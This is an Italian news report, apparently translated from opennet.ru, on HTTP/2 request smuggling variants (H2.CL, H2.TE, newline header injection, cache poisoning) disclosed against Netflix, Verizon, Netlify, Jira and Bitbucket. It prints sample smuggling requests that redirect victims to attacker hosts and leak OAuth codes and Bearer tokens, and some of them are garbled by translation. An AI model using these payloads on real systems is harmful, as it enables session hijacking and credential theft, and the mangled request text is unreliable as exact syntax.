Un nuovo attacco ai sistemi front-end-backend che ti consente di incunearti nelle richieste

I sistemi web in cui il front-end accetta connessioni tramite HTTP/2 e le trasmette al backend tramite HTTP/1.1 sono stati esposti ad una nuova variante dell'attacco “HTTP Request Smuggling”, che consente, attraverso l'invio di richieste client appositamente progettate, di incunearsi nel contenuto delle richieste di altri utenti elaborate nello stesso flusso tra frontend e backend. L'attacco può essere utilizzato per inserire codice JavaScript dannoso in una sessione con un sito Web legittimo, aggirare i sistemi di limitazione dell'accesso e intercettare i parametri di autenticazione.

Il problema riguarda proxy web, bilanciatori di carico, acceleratori web, sistemi di distribuzione dei contenuti e altre configurazioni in cui le richieste vengono reindirizzate in modo front-end-to-backend. L'autore dello studio ha dimostrato la possibilità di attaccare i sistemi di Netflix, Verizon, Bitbucket, Netlify CDN e Atlassian, e ha ricevuto 56mila dollari in programmi di ricompensa per l'identificazione delle vulnerabilità. Il problema è stato confermato anche nei prodotti F5 Networks. Il problema riguarda parzialmente mod_proxy nel server http Apache (CVE-2021-33193), una correzione è prevista nella versione 2.4.49 (gli sviluppatori sono stati informati del problema all'inizio di maggio e hanno avuto 3 mesi per risolverlo). In nginx, la possibilità di specificare contemporaneamente le intestazioni “Content-Length” e “Transfer-Encoding” era bloccata nell'ultima versione (1.21.1). Gli strumenti di attacco sono già inclusi nel toolkit Burp e sono disponibili sotto forma di estensione Turbo Intruder.

Il principio di funzionamento del nuovo metodo di incuneamento delle richieste nel traffico è simile alla vulnerabilità identificata dallo stesso ricercatore due anni fa, ma limitato ai frontend che accettano richieste su HTTP/1.1. Ricordiamo che nello schema frontend-backend, le richieste dei client vengono ricevute da un nodo aggiuntivo: il frontend, che stabilisce una connessione TCP di lunga durata con il backend, che elabora direttamente le richieste. Attraverso questa connessione comune vengono solitamente trasmesse richieste di diversi utenti, che si susseguono una dopo l'altra, separate tramite il protocollo HTTP.

Il classico attacco "HTTP Request Smuggling" si basava sul fatto che frontend e backend interpretano l'uso delle intestazioni HTTP "Content-Length" (determina la dimensione totale dei dati nella richiesta) e "Transfer-Encoding: Chunked" (consente dati da trasferire in parti) in modo diverso. . Ad esempio, se il frontend supporta solo "Content-Length" ma ignora "Transfer-Encoding: Chunked", un utente malintenzionato potrebbe inviare una richiesta che contiene sia le intestazioni "Content-Length" che "Transfer-Encoding: Chunked", ma la dimensione è "Content-Length" non corrisponde alla dimensione della catena in blocchi. In questo caso, il frontend elaborerà e reindirizzerà la richiesta in conformità con "Content-Length", e il backend attenderà il completamento del blocco basato su "Transfer-Encoding: Chunked" e la coda rimanente della richiesta dell'aggressore verrà essere all'inizio della richiesta di qualcun altro trasmessa successivamente.

A differenza del protocollo di testo HTTP/1.1, che viene analizzato a livello di linea, HTTP/2 è un protocollo binario e manipola blocchi di dati di dimensioni predefinite. Tuttavia, HTTP/2 utilizza pseudo-intestazioni che corrispondono alle normali intestazioni HTTP. Nel caso di interazione con il backend tramite il protocollo HTTP/1.1, il frontend traduce queste pseudo-header in intestazioni HTTP simili HTTP/1.1. Il problema è che il backend prende decisioni sull'analisi del flusso in base alle intestazioni HTTP impostate dal frontend, senza avere informazioni sui parametri della richiesta originale.

In particolare i valori “content-length” e “transfer-encoding” possono essere trasmessi sotto forma di pseudo-header, nonostante non vengano utilizzati in HTTP/2, poiché la dimensione di tutti i dati è determinata in un campo separato. Tuttavia, durante il processo di conversione di una richiesta HTTP/2 in HTTP/1.1, queste intestazioni vengono trasferite e possono confondere il backend. Esistono due principali varianti di attacco: H2.TE e H2.CL, in cui il backend viene ingannato da un valore errato di codifica di trasferimento o di lunghezza del contenuto che non corrisponde alla dimensione effettiva del corpo della richiesta ricevuto dal frontend tramite il Protocollo HTTP/2.

Un nuovo attacco ai sistemi front-end-backend che ti consente di incunearti nelle richieste

Un esempio di attacco H2.CL consiste nel specificare una dimensione errata nella pseudo-intestazione della lunghezza del contenuto quando si invia una richiesta HTTP/2 a Netflix. Questa richiesta porta all'aggiunta di un'intestazione HTTP simile Content-Length quando si accede al backend tramite HTTP/1.1, ma poiché la dimensione in Content-Length è specificata inferiore a quella effettiva, parte dei dati nella coda viene elaborata come dall'inizio della richiesta successiva.

Ad esempio, richiedi HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Il risultato sarà l'invio di una richiesta al backend: POST /n HTTP/1.1 Host: www.netflix.com Lunghezza contenuto: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Poiché Content-Length ha un valore pari a 4, il backend accetterà solo "abcd" come corpo della richiesta e il resto di "GET /n HTTP/1.1..." verrà elaborato come l'inizio di una richiesta successiva associato ad un altro utente. Di conseguenza, il flusso verrà desincronizzato e in risposta alla richiesta successiva verrà emesso il risultato dell'elaborazione della richiesta fittizia. Nel caso di Netflix, specificando un host di terze parti nell'intestazione "Host:" in una richiesta fittizia, il client restituiva la risposta "Posizione: https://02.rs?x.netflix.com/n" e consentiva l'invio di contenuti arbitrari al client, incluso l'esecuzione del codice JavaScript nel contesto del sito Netflix.

La seconda opzione di attacco (H2.TE) prevede la sostituzione dell'intestazione "Transfer-Encoding: Chunked". L'uso della pseudo-intestazione di codifica del trasferimento in HTTP/2 è vietato dalle specifiche e le richieste con essa devono essere trattate come errate. Nonostante ciò, alcune implementazioni frontend non tengono conto di questo requisito e consentono l'uso di una pseudo-intestazione di codifica del trasferimento in HTTP/2, che viene convertita in un'intestazione HTTP simile. Se è presente un'intestazione "Transfer-Encoding", il backend può considerarla come una priorità più alta e analizzare i dati pezzo per pezzo in modalità "chunked" utilizzando blocchi di diverse dimensioni nel formato "{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", nonostante la divisione iniziale per dimensione complessiva.

La presenza di un tale divario è stata dimostrata dall'esempio di Verizon. Il problema riguardava il portale di autenticazione e il sistema di gestione dei contenuti, utilizzato anche su siti come Huffington Post ed Engadget. Ad esempio, una richiesta client tramite HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding Chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Il risultato è stato l'invio di una richiesta HTTP/1.1 al backend: POST /identity/XUI Host HTTP/1.1: id.b2b.oath.com Lunghezza contenuto: 66 Codifica trasferimento: Chunked 0 GET /oops Host HTTP/1.1: psres. Contenuto netto - Lunghezza: 10x=

Il backend, a sua volta, ha ignorato l'intestazione "Content-Length" ed ha eseguito la suddivisione in-stream in base a "Transfer-Encoding: Chunked". In pratica, l'attacco ha permesso di reindirizzare le richieste degli utenti al proprio sito web, intercettando anche le richieste relative all'autenticazione OAuth, i cui parametri erano visualizzati nell'intestazione Referer, nonché simulando una sessione di autenticazione e innescando l'invio di credenziali da parte del sistema dell'utente all'ospite dell'attaccante. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorizzazione: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Per attaccare le implementazioni HTTP/2 che non consentono di specificare la pseudo-intestazione di codifica del trasferimento, è stato proposto un altro metodo che prevede la sostituzione dell'intestazione "Transfer-Encoding" allegandola ad altre pseudo-intestazioni separate da un carattere di nuova riga ( quando convertito in HTTP/1.1 in questo caso crea due intestazioni HTTP separate).

Ad esempio, Atlassian Jira e Netlify CDN (utilizzati per servire la pagina iniziale di Mozilla in Firefox) erano interessati da questo problema. Nello specifico, la richiesta HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: Chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : dominio-netlify-male\r\n Lunghezza contenuto: 5\r\n \r\n x=

ha comportato l'invio della richiesta HTTP/1.1 POST / HTTP/1.1 al backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: Chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Lunghezza contenuto: 5\r\n \r \nx=

Un'altra opzione per sostituire l'intestazione “Transfer-Encoding” era allegarla al nome di un'altra pseudo-intestazione o ad una riga con un metodo di richiesta. Ad esempio, quando si accedeva ad Atlassian Jira, il nome della pseudo-intestazione "foo: bar\r\ntransfer-encoding" con il valore "chunked" causava l'aggiunta delle intestazioni HTTP "foo: bar" e "transfer-encoding: Chunked" e specificando il valore della pseudo-intestazione ":method" "GET / HTTP/1.1\r\nTransfer-encoding: Chunked" è stato tradotto in "GET / HTTP/1.1\r\ntransfer-encoding: Chunked".

Il ricercatore che ha individuato il problema ha anche proposto una tecnica di request tunneling per attaccare i frontend, in cui ciascun indirizzo IP stabilisce una connessione separata al backend e il traffico proveniente da diversi utenti non viene mescolato. La tecnica proposta non consente di interferire con le richieste di altri utenti, ma consente di avvelenare una cache condivisa che influisce sull'elaborazione di altre richieste e consente la sostituzione degli header HTTP interni utilizzati per trasferire le informazioni di servizio dal frontend al backend ( ad esempio, quando si esegue l'autenticazione sul lato frontend in tali intestazioni possono trasmettere informazioni sull'utente corrente al backend). Come esempio di applicazione pratica del metodo, utilizzando il cache Poisoning è stato possibile ottenere il controllo sulle pagine nel servizio Bitbucket.

Fonte: opennet.ru

Aggiungi un commento